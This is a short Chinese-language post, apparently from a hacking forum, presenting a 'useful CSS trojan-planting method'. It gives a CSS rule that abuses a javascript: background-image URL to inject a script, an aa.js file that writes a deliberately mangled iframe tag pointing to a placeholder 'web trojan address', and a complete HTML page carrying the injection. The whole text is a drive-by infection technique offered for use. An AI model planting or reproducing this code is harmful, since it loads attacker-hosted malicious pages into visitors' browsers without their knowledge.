好用的CSS挂马利用方法
<style type="text/css">
<!--
body { background-image: url('javascript:document.write("<script src=aa.js></script>")')}
-->
</style>
调用的aa.js内容
document.write("<8))e src=http://网马地址 width=100 height=100></8))e>")
如果你还是看不明白的话我把完整html内容贴出来
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<title>无标题文档</title>
<style type="text/css">
<!--
body { background-image: url('javascript:document.write("<script src=aa.js></script>")')}
-->
</style>
</head>
<body>
sddddddd
</body>
</html>
